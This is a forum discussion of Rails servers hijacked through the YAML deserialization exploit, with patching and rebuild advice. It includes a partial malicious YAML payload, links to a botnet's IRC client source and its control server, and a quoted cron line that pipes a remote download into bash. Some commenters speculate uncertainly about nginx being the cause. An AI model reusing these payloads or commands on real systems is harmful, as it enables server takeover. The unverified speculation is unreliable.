I'm on an iPhone and going to dinner in a second, but can someone tell them that Gem::Requirements line is a pretty dead ringer for the YAML exploits from January? Servers that haven't been owned yet should update Rails, see my article from January. Owned servers need to get rebuilt from metal, as per usual.
Some people in that thread are running rails 3.2.9 end even 3.2.3, and the cited malicious requests contain url paramters the dedoce to ?id=\n---\n!ruby/object:Gem::Requirement\nrequirements:\n -<p>I.e., they have been grossly negligient in their server maintenance for most of this year.
<a href="http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/" rel="nofollow">http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...</a><p>[Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]
Looking at the source code for the IRC bot installed on all compromised system shows the IRC server it connects to. The source is here: <a href="http://88.198.20.247/k.c" rel="nofollow">http://88.198.20.247/k.c</a><p>The IRC server is cvv4you.ru:6667 #rails
There are currently 2164 idling bots on there. Holy fuck. Its run by a guy with the handle "ryan".<p>Connect to it and see for yourself: <a href="http://chat.mibbit.com/" rel="nofollow">http://chat.mibbit.com/</a>
I'm finding it intensely amusing that most of the people around here don't realize that there are pay-for-use botnet services out there, that they are the most likely people that will own your server, that they're continuously on the leading edge of discovering and exploiting security vulnerabilities, and that it's not an "option" to continue to use a software version that has security vulnerabilities.<p>If I had to guess, I'd assume that Hacker News is frequented by a lot of programmers running startups who don't have and don't know any operations/infrastructure people. Here's a budget item: You can't afford to not have and not know any ops/infra people. Those people should be part of your team from the beginning so that they can put their foot down when you want to roll something that won't scale or want to avoid updating software versions because it might break something and you're crunching. If you think you can get away with those things, you're setting yourself up for a fall, and your customers' data will be exposed when you fall. If more VCs did diligence at the technical level, would more founders be likely to pay attention to infrastructure and operations as anything besides an expense that "can't be that difficult" to avoid by DIY?
Ever since word of regressions (performance and otherwise) in 3.2.13 <a href="https://news.ycombinator.com/item?id=5409978" rel="nofollow">https://news.ycombinator.com/item?id=5409978</a> I've been waiting on news of 3.2.14 ... I wonder if anyone has word on when to expect that, because the vulnerabilities patched in 3.2.13 that we can't take advantage of, make me a little nervous.
I've been watching people probing my servers.<p>If you're using Rails externally and you haven't upgraded it, it's only a matter of time till it gets hacked.<p>Could be the most obvious statement ever, but there you have it.
Subscribe to the ruby on rails security mailing list if you haven't already: <a href="https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security" rel="nofollow">https://groups.google.com/forum/?fromgroups#!forum/rubyonrai...</a>.<p>I also started using Gemnasium which does a good job of notifying me about security patches in my app's dependencies along with keeping me up to date with gem releases.
take the system offline, install fresh o/s on new server, re-deploy clean copy of code.<p>slowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps).<p>if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.
In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.
This could be the solution: <a href="http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Released-to-Fix-Arbitrary-Code-Execution-Vulnerability-351523.shtml" rel="nofollow">http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release...</a>. I think I was on 1.1 or something then did "gem update passenger"
I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.